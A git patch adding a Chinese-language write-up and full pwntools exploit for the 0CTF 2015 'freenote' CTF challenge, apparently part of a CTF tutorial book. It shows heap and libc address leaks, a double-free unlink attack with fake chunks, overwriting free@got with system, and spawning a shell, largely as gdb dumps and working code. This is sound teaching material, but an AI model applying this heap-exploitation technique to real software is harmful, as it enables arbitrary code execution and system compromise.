From cee626da528babb6ebca5d6bcd6189b5a40d815d Mon Sep 17 00:00:00 2001 From: firmianay Date: Sun, 8 Apr 2018 00:10:05 +0800 Subject: [PATCH] finish 6.1.7 --- doc/6.1.7_pwn_0ctf2015_freenote.md | 424 ++++++++++++++++++ .../6.1.7_pwn_0ctf2015_freenote/exp.py | 85 ++++ 2 files changed, 509 insertions(+) create mode 100644 src/writeup/6.1.7_pwn_0ctf2015_freenote/exp.py diff --git a/doc/6.1.7_pwn_0ctf2015_freenote.md b/doc/6.1.7_pwn_0ctf2015_freenote.md index 890cf43..2bc01f1 100644 --- a/doc/6.1.7_pwn_0ctf2015_freenote.md +++ b/doc/6.1.7_pwn_0ctf2015_freenote.md @@ -705,6 +705,430 @@ Delete 的实现如下: ## Exploit 在上面逆向的过程中我们发现,程序存在 double free 漏洞。在 Delete 的时候,只是设置了 `isValid =0` 作为标记,而没有将该笔记从 Notes 中移除,也没有将 `content` 设置为 NULL,然后就调用了 free 函数。整个过程没有对 `isValid` 是否已经为 `0` 做任何检查。于是我们可以对同一个笔记 Delete 两次,造成 double free,修改 GOT 表,改变程序的执行流。 +#### 泄漏地址 +第一步先泄漏堆地址。为方便调试,就先关掉 ASLR 吧: +``` +gef➤ vmmap heap +Start End Offset Perm Path +0x0000000000603000 0x0000000000625000 0x0000000000000000 rw- [heap] +gef➤ vmmap libc +Start End Offset Perm Path +0x00007ffff7a15000 0x00007ffff7bd0000 0x0000000000000000 r-x /home/firmy/libc.so.6_1 +0x00007ffff7bd0000 0x00007ffff7dcf000 0x00000000001bb000 --- /home/firmy/libc.so.6_1 +0x00007ffff7dcf000 0x00007ffff7dd3000 0x00000000001ba000 r-- /home/firmy/libc.so.6_1 +0x00007ffff7dd3000 0x00007ffff7dd5000 0x00000000001be000 rw- /home/firmy/libc.so.6_1 +``` + +为了泄漏堆地址,我们需要释放 2 个不相邻且不会被合并进 top chunk 里的 chunk,所以我们创建 4 个笔记,可以看到由初始化阶段创建的 Notes 和 Note 结构体: +```python +for i in range(4): + newnote("A"*8) +``` +``` +gef➤ x/16gx 0x00603000 +0x603000: 0x0000000000000000 0x0000000000001821 +0x603010: 0x0000000000000100 0x0000000000000004 <-- Notes.max <-- Notes.length +0x603020: 0x0000000000000001 0x0000000000000008 <-- Notes.notes[0].isValid <-- Notes.notes[0].length +0x603030: 0x0000000000604830 0x0000000000000001 <-- Notes.notes[0].content +0x603040: 0x0000000000000008 0x00000000006048c0 +0x603050: 0x0000000000000001 0x0000000000000008 +0x603060: 0x0000000000604950 0x0000000000000001 +0x603070: 0x0000000000000008 0x00000000006049e0 +``` +下面是创建的 4 个笔记: +``` +gef➤ x/4gx 0x00603000+0x1820 +0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0 +0x604830: 0x4141414141414141 0x0000000000000000 <-- *notes[0].content +gef➤ x/4gx 0x00603000+0x1820+0x90*1 +0x6048b0: 0x0000000000000000 0x0000000000000091 <-- chunk 1 +0x6048c0: 0x4141414141414141 0x0000000000000000 <-- *notes[1].content +gef➤ x/4gx 0x00603000+0x1820+0x90*2 +0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 +0x604950: 0x4141414141414141 0x0000000000000000 <-- *notes[2].content +gef➤ x/4gx 0x00603000+0x1820+0x90*3 +0x6049d0: 0x0000000000000000 0x0000000000000091 <-- chunk 3 +0x6049e0: 0x4141414141414141 0x0000000000000000 <-- *notes[3].content +gef➤ x/4gx 0x00603000+0x1820+0x90*4 +0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk +0x604a70: 0x0000000000000000 0x0000000000000000 +``` + +现在我们释放掉 chunk 0 和 chunk 2: +```python +delnote(0) +delnote(2) +``` +``` +gef➤ x/16gx 0x00603000 +0x603000: 0x0000000000000000 0x0000000000001821 +0x603010: 0x0000000000000100 0x0000000000000002 <-- Notes.length +0x603020: 0x0000000000000000 0x0000000000000000 <-- notes[0].isValid <-- notes[0].length +0x603030: 0x0000000000604830 0x0000000000000001 <-- notes[0].content +0x603040: 0x0000000000000008 0x00000000006048c0 +0x603050: 0x0000000000000000 0x0000000000000000 <-- notes[2].isValid <-- notes[2].length +0x603060: 0x0000000000604950 0x0000000000000001 <-- notes[2].content +0x603070: 0x0000000000000008 0x00000000006049e0 +gef➤ x/4gx 0x00603000+0x1820 +0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0 [be freed] +0x604830: 0x00007ffff7dd37b8 0x0000000000604940 <-- fd->main_arena+88 <-- bk->chunk 2 +gef➤ x/4gx 0x00603000+0x1820+0x90*1 +0x6048b0: 0x0000000000000090 0x0000000000000090 <-- chunk 1 +0x6048c0: 0x4141414141414141 0x0000000000000000 +gef➤ x/4gx 0x00603000+0x1820+0x90*2 +0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 [be freed] +0x604950: 0x0000000000604820 0x00007ffff7dd37b8 <-- fd->chunk 0 <-- bk->main_arena+88 +gef➤ x/4gx 0x00603000+0x1820+0x90*3 +0x6049d0: 0x0000000000000090 0x0000000000000090 <-- chunk 3 +0x6049e0: 0x4141414141414141 0x0000000000000000 +gef➤ x/4gx 0x00603000+0x1820+0x90*4 +0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk +0x604a70: 0x0000000000000000 0x0000000000000000 +``` +chunk 0 和 chunk 2 被放进了 unsorted bin,且它们的 fd 和 bk 指针有我们需要的地址。 + +为了泄漏堆地址,我们分配一个内容长度为 8 的笔记,malloc 将从 unsorted bin 中把原来 chunk 0 的空间取出来: +```python +newnote("A"*8) +``` +``` +gef➤ x/16gx 0x00603000 +0x603000: 0x0000000000000000 0x0000000000001821 +0x603010: 0x0000000000000100 0x0000000000000003 <-- Notes.length +0x603020: 0x0000000000000001 0x0000000000000008 <-- notes[0].isValid <-- notes[0].length +0x603030: 0x0000000000604830 0x0000000000000001 <-- notes[0].content +0x603040: 0x0000000000000008 0x00000000006048c0 +0x603050: 0x0000000000000000 0x0000000000000000 <-- notes[2].isValid <-- notes[2].length +0x603060: 0x0000000000604950 0x0000000000000001 <-- notes[2].content +0x603070: 0x0000000000000008 0x00000000006049e0 +gef➤ x/4gx 0x00603000+0x1820 +0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0 +0x604830: 0x4141414141414141 0x0000000000604940 <-- info leak +gef➤ x/4gx 0x00603000+0x1820+0x90*1 +0x6048b0: 0x0000000000000090 0x0000000000000091 <-- chunk 1 +0x6048c0: 0x4141414141414141 0x0000000000000000 +gef➤ x/4gx 0x00603000+0x1820+0x90*2 +0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 [be freed] +0x604950: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 <-- fd->chunk 0 <-- bk->main_arena+88 +gef➤ x/4gx 0x00603000+0x1820+0x90*3 +0x6049d0: 0x0000000000000090 0x0000000000000090 <-- chunk 3 +0x6049e0: 0x4141414141414141 0x0000000000000000 +gef➤ x/4gx 0x00603000+0x1820+0x90*4 +0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk +0x604a70: 0x0000000000000000 0x0000000000000000 +``` +为什么是 8 呢?我们同样可以看到程序的读入是有问题的,没有在字符串末尾加上 `\0`,导致了信息泄漏的发生,接下来只要调用 List 就可以把 chunk 2 的地址 `0x604940` 打印出来。然后根据 chunk 2 的偏移,即可计算出堆起始地址: +```python +s = listnote(0)[8:] +heap_addr = u64((s.ljust(8, "\x00"))[:8]) +heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2 +``` + +其实我们还可以得到 libc 的地址,方法如下: +``` +gef➤ x/20gx 0x00007ffff7dd37b8-0x78 +0x7ffff7dd3740 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 +0x7ffff7dd3750: 0x0000000000000000 0x0000000000000000 +0x7ffff7dd3760: 0x0000000100000000 0x0000000000000000 <-- main_arena +0x7ffff7dd3770: 0x0000000000000000 0x0000000000000000 +0x7ffff7dd3780: 0x0000000000000000 0x0000000000000000 +0x7ffff7dd3790: 0x0000000000000000 0x0000000000000000 +0x7ffff7dd37a0: 0x0000000000000000 0x0000000000000000 +0x7ffff7dd37b0: 0x0000000000000000 0x0000000000604a60 <-- top +0x7ffff7dd37c0: 0x0000000000000000 0x0000000000604940 +0x7ffff7dd37d0: 0x0000000000604820 0x00007ffff7dd37c8 +``` +我们看到 `__malloc_hook` 在这个地址 `0x00007ffff7dd37b8-0x78` 的地方。其实 `0x7ffff7dd3760` 地方开始就是 `main_arena`,但在这个 libc 里符号被 stripped 扔掉了。看一下 `__malloc_hook` 在 libc 中的偏移: +``` +$ readelf -s libc.so.6_1 | grep __malloc_hook + 1079: 00000000003be740 8 OBJECT WEAK DEFAULT 31 __malloc_hook@@GLIBC_2.2.5 +``` +因为偏移是不变的,我们总是可以计算出 libc 的地址: +``` +libc_base = leak_addr - (0x3be740 + 0x78) +``` +过程和泄漏堆地址是一样的,这里就不展示了,代码如下: +```python +newnote("A"*8) +s = listnote(2)[8:] +libc_addr = u64((s.ljust(8, "\x00"))[:8]) +libc_base = libc_addr - (0x3be740 + 0x78) # __malloc_hook + 0x78 +``` + +这一步的最后只要把创建的所有笔记都删掉就好了: +``` +gef➤ x/16gx 0x00603000 +0x603000: 0x0000000000000000 0x0000000000001821 +0x603010: 0x0000000000000100 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000000000 +0x603030: 0x0000000000604830 0x0000000000000000 +0x603040: 0x0000000000000000 0x00000000006048c0 +0x603050: 0x0000000000000000 0x0000000000000000 +0x603060: 0x0000000000604950 0x0000000000000000 +0x603070: 0x0000000000000000 0x00000000006049e0 +gef➤ x/4gx 0x00603000+0x1820 +0x604820: 0x0000000000000000 0x00000000000207e1 +0x604830: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 +gef➤ x/4gx 0x00603000+0x1820+0x90*1 +0x6048b0: 0x0000000000000090 0x0000000000000090 +0x6048c0: 0x4141414141414141 0x0000000000000000 +gef➤ x/4gx 0x00603000+0x1820+0x90*2 +0x604940: 0x0000000000000120 0x0000000000000090 +0x604950: 0x4141414141414141 0x00007ffff7dd37b8 +gef➤ x/4gx 0x00603000+0x1820+0x90*3 +0x6049d0: 0x00000000000001b0 0x0000000000000090 <-- chunk 3 [be freed] +0x6049e0: 0x4141414141414141 0x0000000000000000 +gef➤ x/4gx 0x00603000+0x1820+0x90*4 +0x604a60: 0x0000000000000000 0x00000000000205a1 +0x604a70: 0x0000000000000000 0x0000000000000000 +``` +所有的 chunk 都被合并到了 top chunk 里,需要重点关注的是 chunk 3 的 prev_size 字段: +``` +0x6049d0 - 0x1b0 = 0x604820 +``` +所以其实它指向的是 chunk 0,如果再次释放 chunk 3,它会根据 prev_size 找到 chunk 0,并执行 unlink,然而如果直接这样做的话,马上就被 libc 检查出来了,double free 异常被触发,程序崩溃。所以我们接下来我们通过修改 prev_size 指向一个 fake chunk,来成功 unlink。 + +#### unlink +有了堆地址,根据 unlink 攻击的一般思想,我们总共创建 3 块 chunk,在 chunk 0 中构造 fake chunk,在 chunk 1 中放置 `/bin/sh` 字符串,用来作为 `system()` 函数的参数,chunk 2 里再放置两个 fake chunk: +```python +newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0 +newnote('/bin/sh\x00') # note 1 +newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2 +``` + +为什么这样构造呢?回顾一下 unlink 的操作如下: +``` +FD = P->fd; +BK = P->bk; +FD->bk = BK +BK->fd = FD +``` +需要绕过的检查: +``` +(P->fd->bk != P || P->bk->fd != P) == False +``` +最终效果是: +``` +FD->bk = P = BK = &P - 16 +BK->fd = P = FD = &P - 24 +``` +为了绕过它,我们需要一个指向 chunk 头的指针,通过前面的分析我们知道 Note.content 正好指向 chunk 头,而且没有被置空,那么就可以通过泄漏出来的堆地址计算出这个指针的地址。 + +全部堆块的情况如下: +``` +gef➤ x/4gx 0x603018 +0x603018: 0x0000000000000003 0x0000000000000001 +0x603028: 0x0000000000000020 0x0000000000604830 <-- bk pointer +gef➤ x/4gx 0x603020 +0x603020: 0x0000000000000001 0x0000000000000020 +0x603030: 0x0000000000604830 0x0000000000000001 <-- fd pointer +gef➤ x/90gx 0x00603000+0x1820 +0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0 +0x604830: 0x0000000000000000 0x0000000000000000 <-- fake chunk +0x604840: 0x0000000000603018 0x0000000000603020 <-- fd pointer <-- bk pointer +0x604850: 0x0000000000000000 0x0000000000000000 +0x604860: 0x0000000000000000 0x0000000000000000 +0x604870: 0x0000000000000000 0x0000000000000000 +0x604880: 0x0000000000000000 0x0000000000000000 +0x604890: 0x0000000000000000 0x0000000000000000 +0x6048a0: 0x0000000000000000 0x0000000000000000 +0x6048b0: 0x0000000000000090 0x0000000000000091 <-- chunk 1 +0x6048c0: 0x0068732f6e69622f 0x0000000000000000 <-- '/bin/sh' +0x6048d0: 0x0000000000000000 0x0000000000000000 +0x6048e0: 0x0000000000000000 0x0000000000000000 +0x6048f0: 0x0000000000000000 0x0000000000000000 +0x604900: 0x0000000000000000 0x0000000000000000 +0x604910: 0x0000000000000000 0x0000000000000000 +0x604920: 0x0000000000000000 0x0000000000000000 +0x604930: 0x0000000000000000 0x0000000000000000 +0x604940: 0x0000000000000120 0x0000000000000191 <-- chunk 2 +0x604950: 0x4141414141414141 0x4141414141414141 +0x604960: 0x4141414141414141 0x4141414141414141 +0x604970: 0x4141414141414141 0x4141414141414141 +0x604980: 0x4141414141414141 0x4141414141414141 +0x604990: 0x4141414141414141 0x4141414141414141 +0x6049a0: 0x4141414141414141 0x4141414141414141 +0x6049b0: 0x4141414141414141 0x4141414141414141 +0x6049c0: 0x4141414141414141 0x4141414141414141 +0x6049d0: 0x00000000000001a0 0x0000000000000090 <-- chunk 3 pointer +0x6049e0: 0x4141414141414141 0x4141414141414141 +0x6049f0: 0x4141414141414141 0x4141414141414141 +0x604a00: 0x4141414141414141 0x4141414141414141 +0x604a10: 0x4141414141414141 0x4141414141414141 +0x604a20: 0x4141414141414141 0x4141414141414141 +0x604a30: 0x4141414141414141 0x4141414141414141 +0x604a40: 0x4141414141414141 0x4141414141414141 +0x604a50: 0x4141414141414141 0x4141414141414141 +0x604a60: 0x0000000000000000 0x0000000000000021 <-- fake next chunk PREV_INUSE +0x604a70: 0x4141414141414141 0x4141414141414141 +0x604a80: 0x4141414141414141 0x0000000000000001 <-- fake next next chunk PREV_INUSE +0x604a90: 0x0000000000000000 0x0000000000000000 +0x604aa0: 0x0000000000000000 0x0000000000000000 +0x604ab0: 0x0000000000000000 0x0000000000000000 +0x604ac0: 0x0000000000000000 0x0000000000000000 +0x604ad0: 0x0000000000000000 0x0000000000020531 <-- top chunk +0x604ae0: 0x0000000000000000 0x0000000000000000 +``` +首先是 chunk 0,在它里面包含了一个 fake chunk,且设置了 bk、fd 指针用于绕过检查。 + +chunk 2 分配了很大的空间,把 chunk 3 指针也包含了进去,这样就可以对 chunk 3 的 prev_size 进行设置,我们将其修改为 `0x1a0`,于是 `0x6049d0 - 0x1a0 = 0x604830`,即 fake chunk 的位置。另外,在释放 chunk 3 时,libc 会检查后一个堆块的 `PREV_INUSE` 标志位,同时也为了防止 free 后的 chunk 被合并进 top chunk,所以需要在 chunk 3 后布置一个 fake chunk,同样的 fake chunk 的后一个堆块也必须是 `PREV_INUSE` 的,以防止 chunk 3 与 fake chunk 合并。 + +接下来就是释放 chunk 3,触发 unlink: +```python +delnote(3) +``` +``` +gef➤ x/16gx 0x00603000 +0x603000: 0x0000000000000000 0x0000000000001821 +0x603010: 0x0000000000000100 0x0000000000000002 +0x603020: 0x0000000000000001 0x0000000000000020 +0x603030: 0x0000000000603018 0x0000000000000001 <-- notes[0].content +0x603040: 0x0000000000000008 0x00000000006048c0 +0x603050: 0x0000000000000001 0x0000000000000139 +0x603060: 0x0000000000604950 0x0000000000000000 +0x603070: 0x0000000000000000 0x00000000006049e0 +``` +我们看到,note 0 的 content 指针被修改了,原本指向 fake chunk,现在却指向了自身地址减 0x18 的位置,这意味着我们可以将其改为任意地址。 + +#### overwrite note +这一步我们利用 Edit 功能先将 notes[0].content 该为 `free@got`: +```python +editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free'])) +``` +``` +gef➤ x/16gx 0x00603000 +0x603000: 0x0000000000000000 0x0000000000001821 +0x603010: 0x0000000000000100 0x0000000000000002 +0x603020: 0x0000000000000001 0x0000000000000008 <-- notes[0].length = 8 +0x603030: 0x0000000000602018 0x0000000000000001 <-- notes[0].content = free@got +0x603040: 0x0000000000000008 0x00000000006048c0 +0x603050: 0x0000000000000001 0x0000000000000139 +0x603060: 0x0000000000604950 0x0000000000000000 +0x603070: 0x0000000000000000 0x00000000006049e0 +gef➤ x/gx 0x602018 +0x602018 : 0x00007ffff7a97df0 +``` +另外这里将 length 设置为 8 也是有意义的,因为我们下一步修改 free 的地址为 system 地址,正好是 8 个字符长度,程序直接编辑其内容而不会调用 realloc 重新分配空间: +```python +editnote(0, p64(system_addr)) +``` +``` +gef➤ x/gx 0x602018 +0x602018 : 0x00007ffff7a5b640 +gef➤ p system +$1 = {} 0x7ffff7a5b640 +``` +于是最后一步调用 free 时,实际上是调用了 `system('/bin/sh')`: +``` +delnote(1) +``` +``` +gef➤ x/s 0x6048c0 +0x6048c0: "/bin/sh" +``` + +#### pwn +开启 ASLR。Bingo!!! +``` +$ python exp.py +[+] Starting local process './freenote': pid 30146 +[*] heap base: 0x23b5000 +[*] libc base: 0x7efc6903e000 +[*] system address: 0x7efc69084640 +[*] Switching to interactive mode +$ whoami +firmy +``` + +完整的 exp 如下: +```python +from pwn import * + +io = process(['./freenote'], env={'LD_PRELOAD':'./libc.so.6_1'}) +elf = ELF('freenote') +libc = ELF('libc.so.6_1') + +def newnote(x): + io.recvuntil("Your choice: ") + io.sendline("2") + io.recvuntil("Length of new note: ") + io.sendline(str(len(x))) + io.recvuntil("Enter your note: ") + io.send(x) + +def delnote(x): + io.recvuntil("Your choice: ") + io.sendline("4") + io.recvuntil("Note number: ") + io.sendline(str(x)) + +def listnote(x): + io.recvuntil("Your choice: ") + io.sendline("1") + io.recvuntil("%d. " % x) + return io.recvline(keepends=False) + +def editnote(x, s): + io.recvuntil("Your choice: ") + io.sendline("3") + io.recvuntil("Note number: ") + io.sendline(str(x)) + io.recvuntil("Length of note: ") + io.sendline(str(len(s))) + io.recvuntil("Enter your note: ") + io.send(s) + +def leak_base(): + global heap_base + global libc_base + + for i in range(4): + newnote("A"*8) + + delnote(0) + delnote(2) + + newnote("A"*8) # note 0 + + s = listnote(0)[8:] + heap_addr = u64((s.ljust(8, "\x00"))[:8]) + heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2 + log.info("heap base: 0x%x" % heap_base) + + newnote("A"*8) # note 2 + + s = listnote(2)[8:] + libc_addr = u64((s.ljust(8, "\x00"))[:8]) + libc_base = libc_addr - (libc.symbols['__malloc_hook'] + 0x78) # 0x78 = libc_addr - __malloc_hook_addr + log.info("libc base: 0x%x" % libc_base) + + for i in range(4): + delnote(i) + +def unlink(): + newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0 + newnote('/bin/sh\x00') # note 1 + newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2 + delnote(3) # double free + +def overwrite_note(): + system_addr = libc_base + libc.symbols['system'] + log.info("system address: 0x%x" % system_addr) + + editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free'])) # Note.content = free_got + editnote(0, p64(system_addr)) # free => system + +def pwn(): + delnote(1) # system('/bin/sh') + io.interactive() + +if __name__ == "__main__": + leak_base() + unlink() + overwrite_note() + pwn() +``` + ## 参考资料 [0CTF 2015 Quals CTF: freenote](https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/exploit/freenote) diff --git a/src/writeup/6.1.7_pwn_0ctf2015_freenote/exp.py b/src/writeup/6.1.7_pwn_0ctf2015_freenote/exp.py new file mode 100644 index 0000000..c4466bb --- /dev/null +++ b/src/writeup/6.1.7_pwn_0ctf2015_freenote/exp.py @@ -0,0 +1,85 @@ +from pwn import * + +io = process(['./freenote'], env={'LD_PRELOAD':'./libc.so.6_1'}) +elf = ELF('freenote') +libc = ELF('libc.so.6_1') + +def newnote(x): + io.recvuntil("Your choice: ") + io.sendline("2") + io.recvuntil("Length of new note: ") + io.sendline(str(len(x))) + io.recvuntil("Enter your note: ") + io.send(x) + +def delnote(x): + io.recvuntil("Your choice: ") + io.sendline("4") + io.recvuntil("Note number: ") + io.sendline(str(x)) + +def listnote(x): + io.recvuntil("Your choice: ") + io.sendline("1") + io.recvuntil("%d. " % x) + return io.recvline(keepends=False) + +def editnote(x, s): + io.recvuntil("Your choice: ") + io.sendline("3") + io.recvuntil("Note number: ") + io.sendline(str(x)) + io.recvuntil("Length of note: ") + io.sendline(str(len(s))) + io.recvuntil("Enter your note: ") + io.send(s) + +def leak_base(): + global heap_base + global libc_base + + for i in range(4): + newnote("A"*8) + + delnote(0) + delnote(2) + + newnote("A"*8) # note 0 + + s = listnote(0)[8:] + heap_addr = u64((s.ljust(8, "\x00"))[:8]) + heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2 + log.info("heap base: 0x%x" % heap_base) + + newnote("A"*8) # note 2 + + s = listnote(2)[8:] + libc_addr = u64((s.ljust(8, "\x00"))[:8]) + libc_base = libc_addr - (libc.symbols['__malloc_hook'] + 0x78) # 0x78 = libc_addr - __malloc_hook_addr + log.info("libc base: 0x%x" % libc_base) + + for i in range(4): + delnote(i) + +def unlink(): + newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0 + newnote('/bin/sh\x00') # note 1 + newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2 + delnote(3) # double free + +def overwrite_note(): + system_addr = libc_base + libc.symbols['system'] + log.info("system address: 0x%x" % system_addr) + + editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free'])) # Note.content = free_got + editnote(0, p64(system_addr)) # free => system + +def pwn(): + delnote(1) # system('/bin/sh') + io.interactive() + +if __name__ == "__main__": + leak_base() + unlink() + overwrite_note() + pwn()